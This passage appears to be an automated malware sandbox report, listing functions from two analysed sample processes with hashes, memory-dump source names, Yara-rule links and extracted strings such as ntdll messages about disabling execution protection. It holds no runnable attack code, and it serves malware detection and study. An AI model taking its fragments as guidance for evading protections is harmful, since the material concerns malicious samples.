Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a08ca050619fee6601a6bc65767017678ecbf7d780ee5a45895d8114700fc04
Instruction ID: 2485197f9659632ce54c52da20e75c5e9a0beaf9e728747809aa957f31feb668
Opcode Fuzzy Hash: 1a08ca050619fee6601a6bc65767017678ecbf7d780ee5a45895d8114700fc04
Instruction Fuzzy Hash: 5290027120100403D540715855547C60049A7D0301F51DC15B5054954EC6698DD97665

Function 015A2DA0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7433f9723d64bddbc16a763d8aebd833431e634b3ca98a246e46533d4724c0b
Instruction ID: 0a39111aa7cfc3a3279f8c2ee07c2bc12bebd13af45a0896154c008c91b2e037
Opcode Fuzzy Hash: a7433f9723d64bddbc16a763d8aebd833431e634b3ca98a246e46533d4724c0b
Instruction Fuzzy Hash: 7F90022160100503D50171585554696004EA7D0241F91DC26B1014955ECA358996B131

Function 015A2C50 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c99d5e1b703d3733bb1cca63d695f55c670f8b0a92690274905e7722c1637c97
Instruction ID: 603cc91f0369224b6c51e83cf9f9bb39ed752fb2cb9f868356f4046b188bc15f
Opcode Fuzzy Hash: c99d5e1b703d3733bb1cca63d695f55c670f8b0a92690274905e7722c1637c97
Instruction Fuzzy Hash: BD90022130100003D540715865686864049F7E1301F51EC15F0404954CD925885A6222

Function 015A2C10 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d41e7d092f15156c04c3399ad2b374ba64eb6ad7f823c23f1723b603ca527d8
Instruction ID: 384bbecd79f2a445aaebc02f74e3b6b91a3e2eb341f0f9fe808890136bfbde65
Opcode Fuzzy Hash: 8d41e7d092f15156c04c3399ad2b374ba64eb6ad7f823c23f1723b603ca527d8
Instruction Fuzzy Hash: 5190023120100403D500615866587870049A7D0201F51EC15B0414958DD66688557121

Function 015A2C30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4337f304ef07aab504baf5e95b776d19d21b008260ac2b5119224bf0ad746221
Instruction ID: 992d17d3f59e219e2803a82d1462dd598199ab926608992ae28ceef2ba8f381f
Opcode Fuzzy Hash: 4337f304ef07aab504baf5e95b776d19d21b008260ac2b5119224bf0ad746221
Instruction Fuzzy Hash: AB90022921300003D5807158655868A0049A7D1202F91EC19B0005958CC925886D6321

Function 015A2C20 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 81afda5137f65c7ff21d2b88d068a498fcf5cf1a7698976ff9aa68f0ff6a08fe
Instruction ID: daeffc7784b96051ab4689eb0fe0e10b78e254de9a68ccbed6aeff0a85b662f5
Opcode Fuzzy Hash: 81afda5137f65c7ff21d2b88d068a498fcf5cf1a7698976ff9aa68f0ff6a08fe
Instruction Fuzzy Hash: A690022120504443D50065586558A860049A7D0205F51EC15B1054995DC6358855B131

Function 015A2CD0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36a97cefec4b5ffb5490f3d9d81baf20e9adee747ac0dcc00281c91ce20316b0
Instruction ID: a9cf39d5aa3ec5b7647fc0d03efbf7b5377c5ea6d142f29796a5509b5f7778c4
Opcode Fuzzy Hash: 36a97cefec4b5ffb5490f3d9d81baf20e9adee747ac0dcc00281c91ce20316b0
Instruction Fuzzy Hash: 6990023124100403D54171585554686004DB7D0241F91DC16B0414954EC6658A5ABA61

Function 015A2CF0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21145209ff13236f3c0ac41990023fa234bad2bb888d0a9d36ef6d6ede48e24b
Instruction ID: e20115273dd9d42168d16a7e3af7a285a60090ec680338e783a79d4de98c2e19
Opcode Fuzzy Hash: 21145209ff13236f3c0ac41990023fa234bad2bb888d0a9d36ef6d6ede48e24b
Instruction Fuzzy Hash: CE900221242041535945B1585554587404AB7E0241791DC16B1404D50CC536985AE621

Function 015A2F00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4dcaf6fb4ed9bdb1dc905c9a864f0ace78f75030bfebadbb731f0fda56abea4a
Instruction ID: 97ba81dab4d6541e8df948bb1a6a12ddfba867f19dd464e26eb146ff7f318196
Opcode Fuzzy Hash: 4dcaf6fb4ed9bdb1dc905c9a864f0ace78f75030bfebadbb731f0fda56abea4a
Instruction Fuzzy Hash: 6890022121180043D60065685D64B870049A7D0303F51DD19B0144954CC92588656521

Function 015A2F30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd5c77dd0699af5e57e138a5726f70665523e9c33daf95c336d112216a044f25
Instruction ID: fbe28a356e59c32769ee965aea430f12c96e7240c4c3156432374e5d15d6e46b
Opcode Fuzzy Hash: fd5c77dd0699af5e57e138a5726f70665523e9c33daf95c336d112216a044f25
Instruction Fuzzy Hash: 9290022120144443D54062585954B8F4149A7E1202F91DC1DB4146954CC92588596721

Function 015A2FB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2151acf4ba7fe989f2b1e338ab35f7e884d767f57201d9abc0999b8e509cdcce
Instruction ID: 2347adb730ef6c231df01b93b28a43b13e68ff7b5807be8e85a69e7066577075
Opcode Fuzzy Hash: 2151acf4ba7fe989f2b1e338ab35f7e884d767f57201d9abc0999b8e509cdcce
Instruction Fuzzy Hash: 0B90022124100803D54071589564787004AE7D0601F51DC15B0014954DC626896976B1

Function 015A2E50 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65b1ec2f9f03a6f86772a11ff7350e91372bec0a33175c2db298f3a85640d41d
Instruction ID: 9369117581e1ffd5e8b7a23a679c3021d68a76cbad1cfa94fae7c1b9e3edd36c
Opcode Fuzzy Hash: 65b1ec2f9f03a6f86772a11ff7350e91372bec0a33175c2db298f3a85640d41d
Instruction Fuzzy Hash: 6C90026134100443D50061585564B860049E7E1301F51DC19F1054954DC629CC567126

Function 015A2E00 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b37d62ce390d5a5b2dddded43d4c8b0d59a944fefb601f6d84a1534eb9db449
Instruction ID: 2f2c803c1c3fc51d8471cb0eb33e049e928e985d547f9dc4ee99b573562c80a3
Opcode Fuzzy Hash: 8b37d62ce390d5a5b2dddded43d4c8b0d59a944fefb601f6d84a1534eb9db449
Instruction Fuzzy Hash: 7590026120140403D540655859546870049A7D0302F51DC15B2054955ECA398C557135

Function 015A2ED0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4021b2d7e947518e9a67b5a21cbf2941e61e82e216b602a62d0ee92ba680c83
Instruction ID: c0da5033ef1b596f7cdd527507de249dc883825916c55e05aa957d5d1103aadd
Opcode Fuzzy Hash: b4021b2d7e947518e9a67b5a21cbf2941e61e82e216b602a62d0ee92ba680c83
Instruction Fuzzy Hash: B5900221601000434540716899949864049BBE1211751DD25B0988950DC56988696665

Function 015A2EC0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd0a1cca1c4e630ea4768dd1bf193bfd27e4c20ed8f596e543566508887c4c71
Instruction ID: 134ef42f6ff0b2bca6a171314c034e6d2204b5eb64655d60208e11f73335d1ba
Opcode Fuzzy Hash: cd0a1cca1c4e630ea4768dd1bf193bfd27e4c20ed8f596e543566508887c4c71
Instruction Fuzzy Hash: 2990023120140403D500615859587C70049A7D0302F51DC15B5154955EC675C8957531

Function 015A2E80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5b22503a408687751e3d5d29d0b9d3a7c3844d111be358d953ffd735f965d8
Instruction ID: badcacddb9d72375080410182fb12f5b4e4cd3450b1cefcc1372ea17ca581ea0
Opcode Fuzzy Hash: 5c5b22503a408687751e3d5d29d0b9d3a7c3844d111be358d953ffd735f965d8
Instruction Fuzzy Hash: 8490026121100043D504615855547860089A7E1201F51DC16B2144954CC5398C656125

Function 015A2EB0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43fb9a44368a43722a9036f60acbba9d48b5de9e8ef76340462defb41cc06791
Instruction ID: 3a81cc9159aa3d019b6aa4eb71f0da4466d79e8a6652ba08792619718c047b7a
Opcode Fuzzy Hash: 43fb9a44368a43722a9036f60acbba9d48b5de9e8ef76340462defb41cc06791
Instruction Fuzzy Hash: 7D90023120140403D5006158596478B0049A7D0302F51DC15B1154955DC63588557571

Function 015A38D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31bd90de51bad62247f034dba869ab45a489855d4d4bdd18fbf0fc6113051ee7
Instruction ID: 20a8a842093dccbfe0775aa1eeec313a6e67862cc75fcc1f0b6846829abee801
Opcode Fuzzy Hash: 31bd90de51bad62247f034dba869ab45a489855d4d4bdd18fbf0fc6113051ee7
Instruction Fuzzy Hash: 6390022124505103D550715C55546964049B7E0201F51DC25B0804994DC56588597221

Function 015A3C30 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: feb1ed61226be25ff316446288129168d650ea685f82bfb7bc392a807a8afc37
Instruction ID: 592300608fe143b403319b815c2c7c5e0a9a617ab89e25b0ddbe27f59e4f8fea
Opcode Fuzzy Hash: feb1ed61226be25ff316446288129168d650ea685f82bfb7bc392a807a8afc37
Instruction Fuzzy Hash: 1290023120200143994062586954ACE4149A7E1302B91EC19B0005954CC92488656221

Function 015A3C90 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5404624883cd571d16d90ad4147e71bb54844ed47aaf62583b8732e0a08536ae
Instruction ID: 6a8112c5b0442cabdbece27c331997399383f36ba0e466eb15e2b416c80ef9f1
Opcode Fuzzy Hash: 5404624883cd571d16d90ad4147e71bb54844ed47aaf62583b8732e0a08536ae
Instruction Fuzzy Hash: 2890023520100403D910615869546C6008AA7D0301F51EC15B0414958DC66488A5B121

Function 015A2B20 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction ID: 4a75349d81a4d9346126be6e1c949e96d131da19bbde8b1299ea9d688bb128a5
Opcode Fuzzy Hash: a3d3d3c0123cddb368cc51eab9da9c3aaeeac76cd7bbfae310620ba6f7f49b43
Instruction Fuzzy Hash:

Function 01597550 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

ExecuteOptions, xrefs: 015D44AB
Execute=1, xrefs: 015D451E
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 015D4530
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 015D4507
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 015D4460
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 015D454D
CLIENT(ntdll): Processing section info %ws..., xrefs: 015D4592

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 6364e7c0e2e085709673a22cdc1a52fcd738683a6e64a95ebf1bf677a0d78378
Instruction ID: 55b8a5a20ebcba3e55e835400806008e3748c26756b2f2471d3522e1fafba29c
Opcode Fuzzy Hash: 6364e7c0e2e085709673a22cdc1a52fcd738683a6e64a95ebf1bf677a0d78378
Instruction Fuzzy Hash: B5511A31A5025A7BEF24AB98DC89FED77A8FF5C304F4404AAD605AF181E7709A41CF91

Function 01569046 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

@, xrefs: 01569095
$, xrefs: 015690B1

Memory Dump Source

Source File: 00000002.00000002.44646269592.0000000001530000.00000040.00001000.00020000.00000000.sdmp, Offset: 01530000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1530000_5CTbduoXq4.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: cb1c538595b78b658daf4a8c47d1fd4d2f780339b46e2bf14748c92929f4b47e
Instruction ID: 8c4336acae644ecc5322fdcad03457f52c606236d417642085460968536fea78
Opcode Fuzzy Hash: cb1c538595b78b658daf4a8c47d1fd4d2f780339b46e2bf14748c92929f4b47e
Instruction Fuzzy Hash: 17810A71D0026A9FDB31CF94CC45BEEB6B8BB44714F0441DAEA09BB250E7705E848FA1

Analysis Process: QgsPQaUVZZ.exePID: 2772, Parent PID: 6672COMMON

Executed Functions

Function 03290A26 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f9a6111c13a9ec85f6e8c44aa4c4da0bcafb132c23c2c8be7fcde63deef544a
Instruction ID: dd72385b465169d1f9758c8c0fcd39e327c44f2415d5b7d2e1eb9972f69bdb47
Opcode Fuzzy Hash: 8f9a6111c13a9ec85f6e8c44aa4c4da0bcafb132c23c2c8be7fcde63deef544a
Instruction Fuzzy Hash: 7031C311A583F24ED70E836D08B9A75AFD18F5620174EC2EEDADA5F2F3C4888418D3A5

Function 0329000D Relevance: 33.0, Strings: 26, Instructions: 469COMMON

Download Yara Rule

Strings

GP, xrefs: 032903B1
_, xrefs: 032903F7
}, xrefs: 03290196
x, xrefs: 03290182
Qt, xrefs: 0329016E
2, xrefs: 03290371
c6, xrefs: 03290396
PP, xrefs: 03290201
f, xrefs: 0329013A
%y, xrefs: 0329027C
,, xrefs: 0329002B
o, xrefs: 032902A4
`J, xrefs: 03290047
#, xrefs: 03290108
,, xrefs: 032900D0
E, xrefs: 03290126
19, xrefs: 03290884
>, xrefs: 032902C0
v>, xrefs: 032903BB
K_, xrefs: 03290832
#, xrefs: 032901B4
V, xrefs: 03290226
m, xrefs: 03290275
D, xrefs: 032902B9
>, xrefs: 032903CF
B, xrefs: 032901D9

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: #$ B$#$%y$19$2$>$D$E$GP$K_$PP$Qt$V$`J$c6$f$m$o$v>$x$}$,$,$>$_
API String ID: 0-2402352070
Opcode ID: d779309c23f9964538162c43a8d851e61fa85b3ee3d36f7cfa3f208d946fa86d
Instruction ID: fe70cbcf37a669613713fa5b8b3f4f07ecfadeaa65c9b6870e496d2b5a4b61ca
Opcode Fuzzy Hash: d779309c23f9964538162c43a8d851e61fa85b3ee3d36f7cfa3f208d946fa86d
Instruction Fuzzy Hash: 3F426AB0D1526DCBEF68CF05C895BDDBBB2BB45308F1081DAD1496A281CBB95AC4CF85

Function 0329DD8D Relevance: 6.4, Strings: 5, Instructions: 152COMMON

Download Yara Rule

Strings

\, xrefs: 0329DE26
s, xrefs: 0329DE11
O, xrefs: 0329DE18
S, xrefs: 0329DE0A
6, xrefs: 0329DE1F

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: 6$O$S$\$s
API String ID: 0-3854637164
Opcode ID: 74f2a845a8c98f1cbd2e33735c6ec5c448920ce1012c5b9301475194a65474ab
Instruction ID: 69c6213bde93623fc2f957d0ff5430c8d3c75809ff53af872ea88e554d0bd04c
Opcode Fuzzy Hash: 74f2a845a8c98f1cbd2e33735c6ec5c448920ce1012c5b9301475194a65474ab
Instruction Fuzzy Hash: 3451C676D11219ABDF10EF94DC48EEFF3B8EF44315F04419AE9089A140E7B56A988BE1

Function 032AAFDD Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

yi, xrefs: 032AB028

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: yi
API String ID: 0-2336885180
Opcode ID: d8d839b7768e9aa87031fe56cc67a07168d7a7234d646da6f9a74e755274a068
Instruction ID: aa244a2c788f5aa398650033ceb8514b44661e447e701d261a4df9870eeffbec
Opcode Fuzzy Hash: d8d839b7768e9aa87031fe56cc67a07168d7a7234d646da6f9a74e755274a068
Instruction Fuzzy Hash: 2021FEB6D11219AF8B00DFE9D8408EFB7F9EF88210F04456AE919E7200E7715A548BA0

Function 032AB4CD Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

{C, xrefs: 032AB518

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID: {C
API String ID: 0-1657250536
Opcode ID: 3f4f524ca45dc873c339b1b114a757fa1712b9a11ccebb42b01804574f19ef81
Instruction ID: 1ef38d313212d2753b6573d131b99b3cf3bcf038b6d361be48f197f8bfddf952
Opcode Fuzzy Hash: 3f4f524ca45dc873c339b1b114a757fa1712b9a11ccebb42b01804574f19ef81
Instruction Fuzzy Hash: B02133F6D11219AF8B00DFA9D8408EFBBF9EF48210F04415AE915E7200E7705A05CBE0

Function 0328963D Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d5c76b6582068109e56019a0b9cf6fa751be336f5efc78ceb3fe3d286a9aa21
Instruction ID: 7453986e22b16e07e1a2444d3c9628458db48863018707192533c1d31b9509bd
Opcode Fuzzy Hash: 7d5c76b6582068109e56019a0b9cf6fa751be336f5efc78ceb3fe3d286a9aa21
Instruction Fuzzy Hash: 234100B1D11229AFDB04DF99CC85AEEBBBCFF49710F10415AFA14E6240D7B19681CBA4

Function 032AEC6D Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ba261b2d37e6a8c686c9a337af97115225191aaef6764030400665b8a8f1ef3
Instruction ID: bbb7404f5388354cea2ae5e78f2a6c1990f4182fb80ce7bb80328133933bd6c5
Opcode Fuzzy Hash: 8ba261b2d37e6a8c686c9a337af97115225191aaef6764030400665b8a8f1ef3
Instruction Fuzzy Hash: AC31D2B5A11648AFCB14DF99D880EEFB7F9EF88700F108119F918AB340D770A951CBA5

Function 032AEDDD Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8854d8be901c82b9d220803e696c0cf83c1867f68dd6e83b9ca46992c6265491
Instruction ID: 19de5261a1d8c007f25879c5c857f6377607a338bff8dd20f36e0079d821df23
Opcode Fuzzy Hash: 8854d8be901c82b9d220803e696c0cf83c1867f68dd6e83b9ca46992c6265491
Instruction Fuzzy Hash: A931C6B5A10648ABCB14DF98D840EEFB7F9EF88710F108119F918AB240D674A951CBA5

Function 032AE6FD Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f413d01f484df2d047b2e8d45919c4bb039abd2104dac6aa64f115fee20feb2e
Instruction ID: bc811c7dd5bc2723d9319ef3e4356cf0de678035e6b3fc550f3ebe367cd130b1
Opcode Fuzzy Hash: f413d01f484df2d047b2e8d45919c4bb039abd2104dac6aa64f115fee20feb2e
Instruction Fuzzy Hash: 0C3105B5A10348ABDB14DF98CC40EEFB7F9EF88700F108119F908AB240D7B4A951CBA1

Function 032AEFFD Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 218d563c39c0a71cd3337df9d9d62a9197f35fc4b4fe87b00bf36fddaed69bb2
Instruction ID: 6e25e0f73db7ec2bd22d1a4af6bfe6aadb94f30cfad3fbeffa5161428c0c8648
Opcode Fuzzy Hash: 218d563c39c0a71cd3337df9d9d62a9197f35fc4b4fe87b00bf36fddaed69bb2
Instruction Fuzzy Hash: D0211BB5A10749AFDB14DF98CC45FAFB7B8EF88700F108109F9189B240D774A951CBA5

Function 0329DBCD Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 963cbaa09def02e4d1eb9250690dfd1d3dff3227b0342066ff4c39344effe0cf
Instruction ID: 5bd0abb1b5d1c08e70eba66695cff7ee73d0d782ed98687f476ebecf57abbb5d
Opcode Fuzzy Hash: 963cbaa09def02e4d1eb9250690dfd1d3dff3227b0342066ff4c39344effe0cf
Instruction Fuzzy Hash: 2F11A0B63803057BF720EA199C42FAB736C9B84F50F244005FB08AE2C0D6E5F85246B8

Function 032AE39D Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.49197804634.0000000003260000.00000040.00000001.00040000.00000000.sdmp, Offset: 03260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_3260000_QgsPQaUVZZ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65140a3b059ee79970d215b499d4bce6e3d18515d929f97248ad41fbe4fefd5c
Instruction ID: 83b09f983a968412c4cd94d245bc46f6a580f22a646a371bbe695faf885fc175
Opcode Fuzzy Hash: 65140a3b059ee79970d215b499d4bce6e3d18515d929f97248ad41fbe4fefd5c
Instruction Fuzzy Hash: DA118B71A11708ABD720EF98CC45FEBB3BCEF85700F004519F918AB280EBB069418BA5

Function 032AE51D Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

